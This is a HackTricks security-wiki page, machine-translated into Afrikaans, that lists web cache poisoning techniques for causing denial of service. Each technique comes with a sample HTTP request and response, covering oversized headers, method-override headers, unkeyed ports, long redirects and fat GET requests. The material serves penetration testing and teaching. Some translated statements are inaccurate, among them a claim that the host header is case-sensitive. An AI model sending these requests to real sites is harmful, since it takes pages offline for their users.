6.3 KiB
Cache Poisoning to DoS
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
{% hint style="danger" %} Op hierdie bladsy kan jy verskillende variasies vind om te probeer om die webbediener te laat reageer met foute op versoeke wat geldige is vir die cache bedieners {% endhint %}
- HTTP Header Oversize (HHO)
Stuur 'n versoek met 'n kopgrootte groter as die een wat deur die webbediener ondersteun word, maar kleiner as die een wat deur die cachebediener ondersteun word. Die webbediener sal met 'n 400 respons antwoordgee wat dalk gekanselleer kan word:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTP Meta Karakter (HMC) & Onverwagte waardes
Stuur 'n kop wat sommige skadelike meta karakters soos en bevat. Ten einde die aanval te laat werk, moet jy eers die cache omseil.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
'n Sleg geconfigureerde kop kan net \:
as 'n kop wees.
Dit kan ook werk as onverwagte waardes gestuur word, soos 'n onverwagte Content-Type:
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Ongekeyde kop
Sommige webwerwe sal 'n foutstatuskode teruggee as hulle sekere spesifieke koppe in die versoek sien soos met die X-Amz-Website-Location-Redirect: someThing kop:
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- HTTP Metode Oorskrywing Aanval (HMO)
As die bediener die verandering van die HTTP metode met koptekste soos X-HTTP-Method-Override
, X-HTTP-Method
of X-Method-Override
ondersteun. Dit is moontlik om 'n geldige bladsy aan te vra deur die metode te verander sodat die bediener dit nie ondersteun nie, sodat 'n slegte antwoord in die cache gestoor word:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- Ongekeyde Poort
As die poort in die Host-kop weerspieël word in die antwoord en nie in die cache-sleutel ingesluit is nie, is dit moontlik om dit na 'n onbenutte poort te herlei:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Long Redirect DoS
Soos in die volgende voorbeeld, x word nie in die cache gestoor nie, so 'n aanvaller kan die herlei-respons gedrag misbruik om die herlei 'n URL te laat stuur wat so groot is dat dit 'n fout teruggee. Dan sal mense wat probeer om toegang te verkry tot die URL sonder die ongecacheerde x sleutel die foutrespons ontvang:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- Gasheer-kop geval normalisering
Die gasheer-kop moet gevalsensitief wees, maar sommige webwerwe verwag dit om kleinletters te wees en gee 'n fout as dit nie is nie:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- Pad normalisering
Sommige bladsye sal foutkode teruggee wanneer data URLencode in die pad gestuur word, egter, die cache bediener sal die pad URLdecode en die antwoord vir die URLdecoded pad stoor:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
Sommige cache bedieners, soos Cloudflare, of web bedieners, stop GET versoeke met 'n liggaam, so dit kan misbruik word om 'n ongeldige antwoord te kas:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
Verwysings
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.